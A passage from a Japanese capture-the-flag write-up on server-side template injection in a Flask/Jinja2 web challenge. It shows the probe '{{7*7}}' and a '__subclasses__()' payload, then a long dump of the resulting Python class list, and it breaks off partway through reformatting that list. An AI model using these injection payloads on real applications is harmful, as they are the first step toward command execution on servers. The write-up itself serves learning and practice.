parrot the emu (beginner) [web]
{{7*7}}と入力したら、49と返ってきた。
以下のように入力してみる。
{{().__class__.__base__.__subclasses__()}}すると、以下のように返ってきた。
[<class 'type'>, <class 'weakref'>, <class 'weakcallableproxy'>, <class 'weakproxy'>, <class 'int'>, <class 'bytearray'>, <class 'bytes'>, <class 'list'>, <class 'NoneType'>, <class 'NotImplementedType'>, <class 'traceback'>, <class 'super'>, <class 'range'>, <class 'dict'>, <class 'dict_keys'>, <class 'dict_values'>, <class 'dict_items'>, <class 'dict_reversekeyiterator'>, <class 'dict_reversevalueiterator'>, <class 'dict_reverseitemiterator'>, <class 'odict_iterator'>, <class 'set'>, <class 'str'>, <class 'slice'>, <class 'staticmethod'>, <class 'complex'>, <class 'float'>, <class 'frozenset'>, <class 'property'>, <class 'managedbuffer'>, <class 'memoryview'>, <class 'tuple'>, <class 'enumerate'>, <class 'reversed'>, <class 'stderrprinter'>, <class 'code'>, <class 'frame'>, <class 'builtin_function_or_method'>, <class 'method'>, <class 'function'>, <class 'mappingproxy'>, <class 'generator'>, <class 'getset_descriptor'>, <class 'wrapper_descriptor'>, <class 'method-wrapper'>, <class 'ellipsis'>, <class 'member_descriptor'>, <class 'types.SimpleNamespace'>, <class 'PyCapsule'>, <class 'longrange_iterator'>, <class 'cell'>, <class 'instancemethod'>, <class 'classmethod_descriptor'>, <class 'method_descriptor'>, <class 'callable_iterator'>, <class 'iterator'>, <class 'pickle.PickleBuffer'>, <class 'coroutine'>, <class 'coroutine_wrapper'>, <class 'InterpreterID'>, <class 'EncodingMap'>, <class 'fieldnameiterator'>, <class 'formatteriterator'>, <class 'BaseException'>, <class 'hamt'>, <class 'hamt_array_node'>, <class 'hamt_bitmap_node'>, <class 'hamt_collision_node'>, <class 'keys'>, <class 'values'>, <class 'items'>, <class 'Context'>, <class 'ContextVar'>, <class 'Token'>, <class 'Token.MISSING'>, <class 'moduledef'>, <class 'module'>, <class 'filter'>, <class 'map'>, <class 'zip'>, <class '_frozen_importlib._ModuleLock'>, <class '_frozen_importlib._DummyModuleLock'>, <class '_frozen_importlib._ModuleLockManager'>, <class '_frozen_importlib.ModuleSpec'>, <class '_frozen_importlib.BuiltinImporter'>, <class 'classmethod'>, <class '_frozen_importlib.FrozenImporter'>, <class '_frozen_importlib._ImportLockContext'>, <class '_thread._localdummy'>, <class '_thread._local'>, <class '_thread.lock'>, <class '_thread.RLock'>, <class '_io._IOBase'>, <class '_io._BytesIOBuffer'>, <class '_io.IncrementalNewlineDecoder'>, <class 'posix.ScandirIterator'>, <class 'posix.DirEntry'>, <class '_frozen_importlib_external.WindowsRegistryFinder'>, <class '_frozen_importlib_external._LoaderBasics'>, <class '_frozen_importlib_external.FileLoader'>, <class '_frozen_importlib_external._NamespacePath'>, <class '_frozen_importlib_external._NamespaceLoader'>, <class '_frozen_importlib_external.PathFinder'>, <class '_frozen_importlib_external.FileFinder'>, <class 'zipimport.zipimporter'>, <class 'zipimport._ZipImportResourceReader'>, <class 'codecs.Codec'>, <class 'codecs.IncrementalEncoder'>, <class 'codecs.IncrementalDecoder'>, <class 'codecs.StreamReaderWriter'>, <class 'codecs.StreamRecoder'>, <class '_abc._abc_data'>, <class 'abc.ABC'>, <class 'dict_itemiterator'>, <class 'collections.abc.Hashable'>, <class 'collections.abc.Awaitable'>, <class 'types.GenericAlias'>, <class 'collections.abc.AsyncIterable'>, <class 'async_generator'>, <class 'collections.abc.Iterable'>, <class 'bytes_iterator'>, <class 'bytearray_iterator'>, <class 'dict_keyiterator'>, <class 'dict_valueiterator'>, <class 'list_iterator'>, <class 'list_reverseiterator'>, <class 'range_iterator'>, <class 'set_iterator'>, <class 'str_iterator'>, <class 'tuple_iterator'>, <class 'collections.abc.Sized'>, <class 'collections.abc.Container'>, <class 'collections.abc.Callable'>, <class 'os._wrap_close'>, <class '_sitebuiltins.Quitter'>, <class '_sitebuiltins._Printer'>, <class '_sitebuiltins._Helper'>, <class 'types.DynamicClassAttribute'>, <class 'types._GeneratorWrapper'>, <class 'enum.auto'>, <enum 'Enum'>, <class 're.Pattern'>, <class 're.Match'>, <class '_sre.SRE_Scanner'>, <class 'sre_parse.State'>, <class 'sre_parse.SubPattern'>, <class 'sre_parse.Tokenizer'>, <class 'itertools.accumulate'>, <class 'itertools.combinations'>, <class 'itertools.combinations_with_replacement'>, <class 'itertools.cycle'>, <class 'itertools.dropwhile'>, <class 'itertools.takewhile'>, <class 'itertools.islice'>, <class 'itertools.starmap'>, <class 'itertools.chain'>, <class 'itertools.compress'>, <class 'itertools.filterfalse'>, <class 'itertools.count'>, <class 'itertools.zip_longest'>, <class 'itertools.permutations'>, <class 'itertools.product'>, <class 'itertools.repeat'>, <class 'itertools.groupby'>, <class 'itertools._grouper'>, <class 'itertools._tee'>, <class 'itertools._tee_dataobject'>, <class 'operator.itemgetter'>, <class 'operator.attrgetter'>, <class 'operator.methodcaller'>, <class 'reprlib.Repr'>, <class 'collections.deque'>, <class '_collections._deque_iterator'>, <class '_collections._deque_reverse_iterator'>, <class '_collections._tuplegetter'>, <class 'collections._Link'>, <class 'functools.partial'>, <class 'functools._lru_cache_wrapper'>, <class 'functools.partialmethod'>, <class 'functools.singledispatchmethod'>, <class 'functools.cached_property'>, <class 're.Scanner'>, <class 'string.Template'>, <class 'string.Formatter'>, <class 'contextlib.ContextDecorator'>, <class 'contextlib._GeneratorContextManagerBase'>, <class 'contextlib._BaseExitStack'>, <class 'typing._Final'>, <class 'typing._Immutable'>, <class 'typing.Generic'>, <class 'typing._TypingEmpty'>, <class 'typing._TypingEllipsis'>, <class 'typing.Annotated'>, <class 'typing.NamedTuple'>, <class 'typing.TypedDict'>, <class 'typing.io'>, <class 'typing.re'>, <class 'ast.AST'>, <class 'markupsafe._MarkupEscapeHelper'>, <class '_weakrefset._IterationGuard'>, <class '_weakrefset.WeakSet'>, <class 'threading._RLock'>, <class 'threading.Condition'>, <class 'threading.Semaphore'>, <class 'threading.Event'>, <class 'threading.Barrier'>, <class 'threading.Thread'>, <class 'warnings.WarningMessage'>, <class 'warnings.catch_warnings'>, <class 'select.poll'>, <class 'select.epoll'>, <class 'selectors.BaseSelector'>, <class 'subprocess.CompletedProcess'>, <class 'subprocess.Popen'>, <class 'platform._Processor'>, <class '_socket.socket'>, <class 'array.array'>, <class 'socketserver.BaseServer'>, <class 'socketserver.ForkingMixIn'>, <class 'socketserver._NoThreads'>, <class 'socketserver.ThreadingMixIn'>, <class 'socketserver.BaseRequestHandler'>, <class 'datetime.date'>, <class 'datetime.time'>, <class 'datetime.timedelta'>, <class 'datetime.tzinfo'>, <class 'weakref.finalize._Info'>, <class 'weakref.finalize'>, <class '_random.Random'>, <class '_sha512.sha384'>, <class '_sha512.sha512'>, <class 'urllib.parse._ResultMixinStr'>, <class 'urllib.parse._ResultMixinBytes'>, <class 'urllib.parse._NetlocResultMixinBase'>, <class 'calendar._localized_month'>, <class 'calendar._localized_day'>, <class 'calendar.Calendar'>, <class 'calendar.different_locale'>, <class 'email._parseaddr.AddrlistClass'>, <class '_struct.Struct'>, <class '_struct.unpack_iterator'>, <class 'email.charset.Charset'>, <class 'email.header.Header'>, <class 'email.header._ValueFormatter'>, <class 'email._policybase._PolicyBase'>, <class 'email.feedparser.BufferedSubFile'>, <class 'email.feedparser.FeedParser'>, <class 'email.parser.Parser'>, <class 'email.parser.BytesParser'>, <class 'email.message.Message'>, <class 'http.client.HTTPConnection'>, <class '_ssl._SSLContext'>, <class '_ssl._SSLSocket'>, <class '_ssl.MemoryBIO'>, <class '_ssl.Session'>, <class 'ssl.SSLObject'>, <class 'mimetypes.MimeTypes'>, <class 'zlib.Compress'>, <class 'zlib.Decompress'>, <class '_bz2.BZ2Compressor'>, <class '_bz2.BZ2Decompressor'>, <class '_lzma.LZMACompressor'>, <class '_lzma.LZMADecompressor'>, <class 'ast.NodeVisitor'>, <class 'dis.Bytecode'>, <class 'tokenize.Untokenizer'>, <class 'inspect.BlockFinder'>, <class 'inspect._void'>, <class 'inspect._empty'>, <class 'inspect.Parameter'>, <class 'inspect.BoundArguments'>, <class 'inspect.Signature'>, <class 'traceback.FrameSummary'>, <class 'traceback.TracebackException'>, <class 'logging.LogRecord'>, <class 'logging.PercentStyle'>, <class 'logging.Formatter'>, <class 'logging.BufferingFormatter'>, <class 'logging.Filter'>, <class 'logging.Filterer'>, <class 'logging.PlaceHolder'>, <class 'logging.Manager'>, <class 'logging.LoggerAdapter'>, <class 'werkzeug._internal._Missing'>, <class 'werkzeug.exceptions.Aborter'>, <class 'werkzeug.urls.Href'>, <class '_hashlib.HASH'>, <class '_hashlib.HMAC'>, <class '_blake2.blake2b'>, <class '_blake2.blake2s'>, <class 'tempfile._RandomNameSequence'>, <class 'tempfile._TemporaryFileCloser'>, <class 'tempfile._TemporaryFileWrapper'>, <class 'tempfile.SpooledTemporaryFile'>, <class 'tempfile.TemporaryDirectory'>, <class 'urllib.request.Request'>, <class 'urllib.request.OpenerDirector'>, <class 'urllib.request.BaseHandler'>, <class 'urllib.request.HTTPPasswordMgr'>, <class 'urllib.request.AbstractBasicAuthHandler'>, <class 'urllib.request.AbstractDigestAuthHandler'>, <class 'urllib.request.URLopener'>, <class 'urllib.request.ftpwrapper'>, <class 'http.cookiejar.Cookie'>, <class 'http.cookiejar.CookiePolicy'>, <class 'http.cookiejar.Absent'>, <class 'http.cookiejar.CookieJar'>, <class 'werkzeug.datastructures.ImmutableListMixin'>, <class 'werkzeug.datastructures.ImmutableDictMixin'>, <class 'werkzeug.datastructures._omd_bucket'>, <class 'werkzeug.datastructures.Headers'>, <class 'werkzeug.datastructures.ImmutableHeadersMixin'>, <class 'werkzeug.datastructures.IfRange'>, <class 'werkzeug.datastructures.Range'>, <class 'werkzeug.datastructures.ContentRange'>, <class 'werkzeug.datastructures.FileStorage'>, <class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>, <class 'dataclasses._MISSING_TYPE'>, <class 'dataclasses._FIELD_BASE'>, <class 'dataclasses.InitVar'>, <class 'dataclasses.Field'>, <class 'dataclasses._DataclassParams'>, <class 'werkzeug.sansio.multipart.Event'>, <class 'werkzeug.sansio.multipart.MultipartDecoder'>, <class 'werkzeug.sansio.multipart.MultipartEncoder'>, <class 'importlib.abc.Finder'>, <class 'importlib.abc.Loader'>, <class 'importlib.abc.ResourceReader'>, <class 'pkgutil.ImpImporter'>, <class 'pkgutil.ImpLoader'>, <class 'hmac.HMAC'>, <class 'werkzeug.wsgi.ClosingIterator'>, <class 'werkzeug.wsgi.FileWrapper'>, <class 'werkzeug.wsgi._RangeWrapper'>, <class 'werkzeug.utils.HTMLBuilder'>, <class 'werkzeug.wrappers.accept.AcceptMixin'>, <class 'werkzeug.wrappers.auth.AuthorizationMixin'>, <class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>, <class '_json.Scanner'>, <class '_json.Encoder'>, <class 'json.decoder.JSONDecoder'>, <class 'json.encoder.JSONEncoder'>, <class 'werkzeug.formparser.FormDataParser'>, <class 'werkzeug.formparser.MultiPartParser'>, <class 'werkzeug.user_agent.UserAgent'>, <class 'werkzeug.useragents._UserAgentParser'>, <class 'werkzeug.sansio.request.Request'>, <class 'werkzeug.wrappers.request.StreamOnlyMixin'>, <class 'werkzeug.sansio.response.Response'>, <class 'werkzeug.wrappers.response.ResponseStream'>, <class 'werkzeug.wrappers.response.ResponseStreamMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>, <class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>, <class 'werkzeug.wrappers.etag.ETagRequestMixin'>, <class 'werkzeug.wrappers.etag.ETagResponseMixin'>, <class 'werkzeug.wrappers.user_agent.UserAgentMixin'>, <class 'werkzeug.test._TestCookieHeaders'>, <class 'werkzeug.test._TestCookieResponse'>, <class 'werkzeug.test.EnvironBuilder'>, <class 'werkzeug.test.Client'>, <class 'decimal.Decimal'>, <class 'decimal.Context'>, <class 'decimal.SignalDictMixin'>, <class 'decimal.ContextManager'>, <class 'numbers.Number'>, <class 'uuid.UUID'>, <class '_pickle.Pdata'>, <class '_pickle.PicklerMemoProxy'>, <class '_pickle.UnpicklerMemoProxy'>, <class '_pickle.Pickler'>, <class '_pickle.Unpickler'>, <class 'pickle._Framer'>, <class 'pickle._Unframer'>, <class 'pickle._Pickler'>, <class 'pickle._Unpickler'>, <class 'jinja2.bccache.Bucket'>, <class 'jinja2.bccache.BytecodeCache'>, <class 'jinja2.utils.MissingType'>, <class 'jinja2.utils.LRUCache'>, <class 'jinja2.utils.Cycler'>, <class 'jinja2.utils.Joiner'>, <class 'jinja2.utils.Namespace'>, <class 'jinja2.nodes.EvalContext'>, <class 'jinja2.nodes.Node'>, <class 'jinja2.visitor.NodeVisitor'>, <class 'jinja2.idtracking.Symbols'>, <class 'jinja2.compiler.MacroRef'>, <class 'jinja2.compiler.Frame'>, <class 'jinja2.runtime.TemplateReference'>, <class 'jinja2.runtime.Context'>, <class 'jinja2.runtime.BlockReference'>, <class 'jinja2.runtime.LoopContext'>, <class 'jinja2.runtime.Macro'>, <class 'jinja2.runtime.Undefined'>, <class 'jinja2.lexer.Failure'>, <class 'jinja2.lexer.TokenStreamIterator'>, <class 'jinja2.lexer.TokenStream'>, <class 'jinja2.lexer.Lexer'>, <class 'jinja2.parser.Parser'>, <class 'jinja2.environment.Environment'>, <class 'jinja2.environment.Template'>, <class 'jinja2.environment.TemplateModule'>, <class 'jinja2.environment.TemplateExpression'>, <class 'jinja2.environment.TemplateStream'>, <class 'jinja2.loaders.BaseLoader'>, <class 'werkzeug.local.Local'>, <class 'werkzeug.local.LocalStack'>, <class 'werkzeug.local.LocalManager'>, <class 'werkzeug.local._ProxyLookup'>, <class 'werkzeug.local.LocalProxy'>, <class 'difflib.SequenceMatcher'>, <class 'difflib.Differ'>, <class 'difflib.HtmlDiff'>, <class 'pprint._safe_key'>, <class 'pprint.PrettyPrinter'>, <class 'werkzeug.routing.RuleFactory'>, <class 'werkzeug.routing.RuleTemplate'>, <class 'werkzeug.routing.BaseConverter'>, <class 'werkzeug.routing.Map'>, <class 'werkzeug.routing.MapAdapter'>, <class 'gettext.NullTranslations'>, <class 'click._compat._FixupStream'>, <class 'click._compat._AtomicFile'>, <class 'click.utils.LazyFile'>, <class 'click.utils.KeepOpenFile'>, <class 'click.utils.PacifyFlushWrapper'>, <class 'click.types.ParamType'>, <class 'click.parser.Option'>, <class 'click.parser.Argument'>, <class 'click.parser.ParsingState'>, <class 'click.parser.OptionParser'>, <class 'click.formatting.HelpFormatter'>, <class 'click.core.Context'>, <class 'click.core.BaseCommand'>, <class 'click.core.Parameter'>, <class 'flask.signals.Namespace'>, <class 'flask.signals._FakeSignal'>, <class '__future__._Feature'>, <class 'zipfile.ZipInfo'>, <class 'zipfile.LZMACompressor'>, <class 'zipfile.LZMADecompressor'>, <class 'zipfile._SharedFile'>, <class 'zipfile._Tellable'>, <class 'zipfile.ZipFile'>, <class 'zipfile.Path'>, <class 'pathlib._Flavour'>, <class 'pathlib._Accessor'>, <class 'pathlib._Selector'>, <class 'pathlib._TerminatingSelector'>, <class 'pathlib.PurePath'>, <class 'zipp.glob.Translator'>, <class 'zipp.InitializedState'>, <class 'zipp.SanitizedNames'>, <class 'zipp.Path'>, <class 'textwrap.TextWrapper'>, <class 'importlib_metadata._compat.NullFinder'>, <class 'importlib_metadata.Sectioned'>, <class 'importlib_metadata.EntryPoint'>, <class 'importlib_metadata.FileHash'>, <class 'importlib_metadata.Distribution'>, <class 'importlib_metadata.DistributionFinder.Context'>, <class 'importlib_metadata.FastPath'>, <class 'importlib_metadata.Lookup'>, <class 'importlib_metadata.Prepared'>, <class 'flask.cli.DispatchingApp'>, <class 'flask.cli.ScriptInfo'>, <class 'flask.config.ConfigAttribute'>, <class 'flask.ctx._AppCtxGlobals'>, <class 'flask.ctx.AppContext'>, <class 'flask.ctx.RequestContext'>, <class 'flask.scaffold.Scaffold'>, <class 'itsdangerous.signer.SigningAlgorithm'>, <class 'itsdangerous.signer.Signer'>, <class 'itsdangerous._json._CompactJSON'>, <class 'flask.json.tag.JSONTag'>, <class 'flask.json.tag.TaggedJSONSerializer'>, <class 'flask.sessions.SessionInterface'>, <class 'flask.blueprints.BlueprintSetupState'>, <class 'unicodedata.UCD'>]
整形すると、以下のようになる。
[<class 'type'>,
<class 'weakref'>,
<class 'weakcallableproxy'>,
<class 'weakproxy'>,
<class 'int'>,
<class 'bytearray'>,
<class 'bytes'>,
<class 'list'>,
<class 'NoneType'>,
<class 'NotImplementedType'>,
<class 'traceback'>,
<class 'super'>,
<class 'range'>,
<class 'dict'>,
<class 'dict_keys'>,
<class 'dict_values'>,
<class 'dict_items'>,
<class 'dict_reversekeyiterator'>,
<class 'dict_reversevalueiterator'>,
<class 'dict_reverseitemiterator'>,
<class 'odict_iterator'>,
<class 'set'>,
<class 'str'>,
<class 'slice'>,
<class 'staticmethod'>,
<class 'complex'>,
<class 'float'>,
<class 'frozenset'>,
<class 'property'>,
<class 'managedbuffer'>,
<class 'memoryview'>,
<class 'tuple'>,
<class 'enumerate'>,
<class 'reversed'>,
<class 'stderrprinter'>,
<class 'code'>,
<class 'frame'>,
<class 'builtin_function_or_method'>,
<class 'method'>,
<class 'function'>,
<class 'mappingproxy'>,
<class 'generator'>,
<class 'getset_descriptor'>,
<class 'wrapper_descriptor'>,
<class 'method-wrapper'>,
<class 'ellipsis'>,
<class 'member_descriptor'>,
<class 'types.SimpleNamespace'>,
<class 'PyCapsule'>,
<class 'longrange_iterator'>,
<class 'cell'>,
<class 'instancemethod'>,
<class 'classmethod_descriptor'>,
<class 'method_descriptor'>,
<class 'callable_iterator'>,
<class 'iterator'>,
<class 'pickle.PickleBuffer'>,
<class 'coroutine'>,
<class 'coroutine_wrapper'>,
<class 'InterpreterID'>,
<class 'EncodingMap'>,
<class 'fieldnameiterator'>,
<class 'formatteriterator'>,
<class 'BaseException'>,
<class 'hamt'>,
<class 'hamt_array_node'>,
<class 'hamt_bitmap_node'>,
<class 'hamt_collision_node'>,
<class 'keys'>,
<class 'values'>,
<class 'items'>,
<class 'Context'>,
<class 'ContextVar'>,
<class 'Token'>,
<class 'Token.MISSING'>,
<class 'moduledef'>,
<class 'module'>,
<class 'filter'>,
<class 'map'>,
<class 'zip'>,
<class '_frozen_importlib._ModuleLock'>,
<class '_frozen_importlib._DummyModuleLock'>,
<class '_frozen_importlib._ModuleLockManager'>,
<class '_frozen_importlib.ModuleSpec'>,
<class '_frozen_importlib.BuiltinImporter'>,
<class 'classmethod'>,
<class '_frozen_importlib.FrozenImporter'>,
<class '_frozen_importlib._ImportLockContext'>,
<class '_thread._localdummy'>,
<class '_thread._local'>,
<class '_thread.lock'>,
<class '_thread.RLock'>,
<class '_io._IOBase'>,
<class '_io._BytesIOBuffer'>,
<class '_io.IncrementalNewlineDecoder'>,
<class 'posix.ScandirIterator'>,
<class 'posix.DirEntry'>,
<class '_frozen_importlib_external.WindowsRegistryFinder'>,
<class '_frozen_importlib_external._LoaderBasics'>,
<class '_frozen_importlib_external.FileLoader'>,
<class '_frozen_importlib_external._NamespacePath'>,
<class '_frozen_importlib_external._NamespaceLoader'>,
<class '_frozen_importlib_external.PathFinder'>,
<class '_frozen_importlib_external.FileFinder'>,
<class 'zipimport.zipimporter'>,
<class 'zipimport._ZipImportResourceReader'>,
<class 'codecs.Codec'>,
<class 'codecs.IncrementalEncoder'>,
<class 'codecs.IncrementalDecoder'>,
<class 'codecs.StreamReaderWriter'>,
<class 'codecs.StreamRecoder'>,
<class '_abc._abc_data'>,
<class 'abc.ABC'>,
<class 'dict_itemiterator'>,
<class 'collections.abc.Hashable'>,
<class 'collections.abc.Awaitable'>,
<class 'types.GenericAlias'>,
<class 'collections.abc.AsyncIterable'>,
<class 'async_generator'>,
<class 'collections.abc.Iterable'>,
<class 'bytes_iterator'>,
<class 'bytearray_iterator'>,
<class 'dict_keyiterator'>,
<class 'dict_valueiterator'>,
<class 'list_iterator'>,
<class 'list_reverseiterator'>,
<class 'range_iterator'>,
<class 'set_iterator'>,
<class 'str_iterator'>,
<class 'tuple_iterator'>,
<class 'collections.abc.Sized'>,
<class 'collections.abc.Container'>,
<class 'collections.abc.Callable'>,
<class 'os._wrap_close'>,
<class '_sitebuiltins.Quitter'>,
<class '_sitebuiltins._Printer'>,
<class '_sitebuiltins._Helper'>,
<class 'types.DynamicClassAttribute'>,
<class 'types._GeneratorWrapper'>,
<class 'enum.auto'>,
<enum 'Enum'>,
<class 're.Pattern'>,
<class 're.Match'>,
<class '_sre.SRE_Scanner'>,
<class 'sre_parse.State'>,
<class 'sre_parse.SubPattern'>,
<class 'sre_parse.Tokenizer'>,
<class 'itertools.accumulate'>,
<class 'itertools.combinations'>,
<class 'itertools.combinations_with_replacement'>,
<class 'itertools.cycle'>,
<class 'itertools.dropwhile'>,
<class 'itertools.takewhile'>,
<class 'itertools.islice'>,
<class 'itertools.starmap'>,
<class 'itertools.chain'>,
<class 'itertools.compress'>,
<class 'itertools.filterfalse'>,
<class 'itertools.count'>,
<class 'itertools.zip_longest'>,
<class 'itertools.permutations'>,
<class 'itertools.product'>,
<class 'itertools.repeat'>,
<class 'itertools.groupby'>,
<class 'itertools._grouper'>,
<class 'itertools._tee'>,
<class 'itertools._tee_dataobject'>,
<class 'operator.itemgetter'>,
<class 'operator.attrgetter'>,
<class 'operator.methodcaller'>,
<class 'reprlib.Repr'>,
<class 'collections.deque'>,
<class '_collections._deque_iterator'>,
<class '_collections._deque_reverse_iterator'>,
<class '_collections._tuplegetter'>,
<class 'collections._Link'>,
<class 'functools.partial'>,
<class 'functools._lru_cache_wrapper'>,
<class 'functools.partialmethod'>,
<class 'functools.singledispatchmethod'>,
<class 'functools.cached_property'>,
<class 're.Scanner'>,
<class 'string.Template'>,
<class 'string.Formatter'>,
<class 'contextlib.ContextDecorator'>,
<class 'contextlib._GeneratorContextManagerBase'>,
<class 'contextlib._BaseExitStack'>,
<class 'typing._Final'>,
<class 'typing._Immutable'>,
<class 'typing.Generic'>,
<class 'typing._TypingEmpty'>,
<class 'typing._TypingEllipsis'>,
<class 'typing.Annotated'>,
<class 'typing.NamedTuple'>,
<class 'typing.TypedDict'>,
<class 'typing.io'>,
<class 'typing.re'>,
<class 'ast.AST'>,
<class 'markupsafe._MarkupEscapeHelper'>,
<class '_weakrefset._IterationGuard'>,
<class '_weakrefset.WeakSet'>,
<class 'threading._RLock'>,
<class 'threading.Condition'>,
<class 'threading.Semaphore'>,
<class 'threading.Event'>,
<class 'threading.Barrier'>,
<class 'threading.Thread'>,
<class 'warnings.WarningMessage'>,
<class 'warnings.catch_warnings'>,
<class 'select.poll'>,
<class 'select.epoll'>,
<class 'selectors.BaseSelector'>,
<class 'subprocess.CompletedProcess'>,
<class 'subprocess.Popen'>,
<class 'platform._Processor'>,
<class '_socket.socket'>,
<class 'array.array'>,
<class 'socketserver.BaseServer'>,
<class 'socketserver.ForkingMixIn'>,
<class 'socketserver._NoThreads'>,
<class 'socketserver.ThreadingMixIn'>,
<class 'socketserver.BaseRequestHandler'>,
<class 'datetime.date'>,
<class 'datetime.time'>,
<class 'datetime.timedelta'>,
<class 'datetime.tzinfo'>,
<class 'weakref.finalize._Info'>,
<class 'weakref.finalize'>,
<class '_random.Random'>,
<class '_sha512.sha384'>,
<class '_sha512.sha512'>,
<class 'urllib.parse._ResultMixinStr'>,
<class 'urllib.parse._ResultMixinBytes'>,
<class 'urllib.parse._NetlocResultMixinBase'>,
<class 'calendar._localized_month'>,
<class 'calendar._localized_day'>,
<class 'calendar.Calendar'>,
<class 'calendar.different_locale'>,
<class 'email._parseaddr.AddrlistClass'>,
<class '_struct.Struct'>,
<class '_struct.unpack_iterator'>,
<class 'email.charset.Charset'>,
<class 'email.header.Header'>,
<class 'email.header._ValueFormatter'>,
<class 'email._policybase._PolicyBase'>,
<class 'email.feedparser.BufferedSubFile'>,
<class 'email.feedparser.FeedParser'>,
<class 'email.parser.Parser'>,
<class 'email.parser.BytesParser'>,
<class 'email.message.Message'>,
<class 'http.client.HTTPConnection'>,
<class '_ssl._SSLContext'>,
<class '_ssl._SSLSocket'>,
<class '_ssl.MemoryBIO'>,
<class '_ssl.Session'>,
<class 'ssl.SSLObject'>,
<class 'mimetypes.MimeTypes'>,
<class 'zlib.Compress'>,
<class 'zlib.Decompress'>,
<class '_bz2.BZ2Compressor'>,
<class '_bz2.BZ2Decompressor'>,
<class '_lzma.LZMACompressor'>,
<class '_lzma.LZMADecompressor'>,
<class 'ast.NodeVisitor'>,
<class 'dis.Bytecode'>,
<class 'tokenize.Untokenizer'>,
<class 'inspect.BlockFinder'>,
<class 'inspect._void'>,
<class 'inspect._empty'>,
<class 'inspect.Parameter'>,
<class 'inspect.BoundArguments'>,
<class 'inspect.Signature'>,
<class 'traceback.FrameSummary'>,
<class 'traceback.TracebackException'>,
<class 'logging.LogRecord'>,
<class 'logging.PercentStyle'>,
<class 'logging.Formatter'>,
<class 'logging.BufferingFormatter'>,
<class 'logging.Filter'>,
<class 'logging.Filterer'>,
<class 'logging.PlaceHolder'>,
<class 'logging.Manager'>,
<class 'logging.LoggerAdapter'>,
<class 'werkzeug._internal._Missing'>,
<class 'werkzeug.exceptions.Aborter'>,
<class 'werkzeug.urls.Href'>,
<class '_hashlib.HASH'>,
<class '_hashlib.HMAC'>,
<class '_blake2.blake2b'>,
<class '_blake2.blake2s'>,
<class 'tempfile._RandomNameSequence'>,
<class 'tempfile._TemporaryFileCloser'>,
<class 'tempfile._TemporaryFileWrapper'>,
<class 'tempfile.SpooledTemporaryFile'>,
<class 'tempfile.TemporaryDirectory'>,
<class 'urllib.request.Request'>,
<class 'urllib.request.OpenerDirector'>,
<class 'urllib.request.BaseHandler'>,
<class 'urllib.request.HTTPPasswordMgr'>,
<class 'urllib.request.AbstractBasicAuthHandler'>,
<class 'urllib.request.AbstractDigestAuthHandler'>,
<class 'urllib.request.URLopener'>,
<class 'urllib.request.ftpwrapper'>,
<class 'http.cookiejar.Cookie'>,
<class 'http.cookiejar.CookiePolicy'>,
<class 'http.cookiejar.Absent'>,
<class 'http.cookiejar.CookieJar'>,
<class 'werkzeug.datastructures.ImmutableListMixin'>,
<class 'werkzeug.datastructures.ImmutableDictMixin'>,
<class 'werkzeug.datastructures._omd_bucket'>,
<class 'werkzeug.datastructures.Headers'>,
<class 'werkzeug.datastructures.ImmutableHeadersMixin'>,
<class 'werkzeug.datastructures.IfRange'>,
<class 'werkzeug.datastructures.Range'>,
<class 'werkzeug.datastructures.ContentRange'>,
<class 'werkzeug.datastructures.FileStorage'>,
<class 'dataclasses._HAS_DEFAULT_FACTORY_CLASS'>,
<class 'dataclasses._MISSING_TYPE'>,
<class 'dataclasses._FIELD_BASE'>,
<class 'dataclasses.InitVar'>,
<class 'dataclasses.Field'>,
<class 'dataclasses._DataclassParams'>,
<class 'werkzeug.sansio.multipart.Event'>,
<class 'werkzeug.sansio.multipart.MultipartDecoder'>,
<class 'werkzeug.sansio.multipart.MultipartEncoder'>,
<class 'importlib.abc.Finder'>,
<class 'importlib.abc.Loader'>,
<class 'importlib.abc.ResourceReader'>,
<class 'pkgutil.ImpImporter'>,
<class 'pkgutil.ImpLoader'>,
<class 'hmac.HMAC'>,
<class 'werkzeug.wsgi.ClosingIterator'>,
<class 'werkzeug.wsgi.FileWrapper'>,
<class 'werkzeug.wsgi._RangeWrapper'>,
<class 'werkzeug.utils.HTMLBuilder'>,
<class 'werkzeug.wrappers.accept.AcceptMixin'>,
<class 'werkzeug.wrappers.auth.AuthorizationMixin'>,
<class 'werkzeug.wrappers.auth.WWWAuthenticateMixin'>,
<class '_json.Scanner'>,
<class '_json.Encoder'>,
<class 'json.decoder.JSONDecoder'>,
<class 'json.encoder.JSONEncoder'>,
<class 'werkzeug.formparser.FormDataParser'>,
<class 'werkzeug.formparser.MultiPartParser'>,
<class 'werkzeug.user_agent.UserAgent'>,
<class 'werkzeug.useragents._UserAgentParser'>,
<class 'werkzeug.sansio.request.Request'>,
<class 'werkzeug.wrappers.request.StreamOnlyMixin'>,
<class 'werkzeug.sansio.response.Response'>,
<class 'werkzeug.wrappers.response.ResponseStream'>,
<class 'werkzeug.wrappers.response.ResponseStreamMixin'>,
<class 'werkzeug.wrappers.common_descriptors.CommonRequestDescriptorsMixin'>,
<class 'werkzeug.wrappers.common_descriptors.CommonResponseDescriptorsMixin'>,
<class 'werkzeug.wrappers.etag.ETagRequestMixin'>,
<class 'werkzeug.wrappers.etag.ETagResponseMixin'>,
<class 'werkzeug.wrappers.user_agent.UserAgentMixin'>,
<class 'werkzeug.test._TestCookieHeaders'>,
<class 'werkzeug.test._TestCookieResponse'>,
<class 'werkzeug.test.EnvironBuilder'>,
<class 'werkzeug.test.Client'>,
<class 'decimal.Decimal'>,
<class 'decimal.Context'>,
<class 'decimal.SignalDictMixin'>,
<class 'decimal.ContextManager'>,
<class 'numbers.Number'>,
<class 'uuid.UUID'>,
<class '_pickle.Pdata'>,
<class '_pickle.PicklerMemoProxy'>,
<class '_pickle.UnpicklerMemoProxy'>,
<class '_pickle.Pickler'>,
<class '_pickle.Unpickler'>,
<class 'pickle._Framer'>,
<class 'pickle._Unframer'>,
<class 'pickle._Pickler'>,
<class 'pickle._Unpickler'>,
<class 'jinja2.bccache.Bucket'>,
<class 'jinja2.bccache.BytecodeCache'>,
<class 'jinja2.utils.MissingType'>,
<class 'jinja2.utils.LRUCache'>,
<class 'jinja2.utils.Cycler'>,
<class 'jinja2.utils.Joiner'>,
<class 'jinja2.utils.Namespace'>,
<class 'jinja2.nodes.EvalContext'>,
<class 'jinja2.nodes.Node'>,
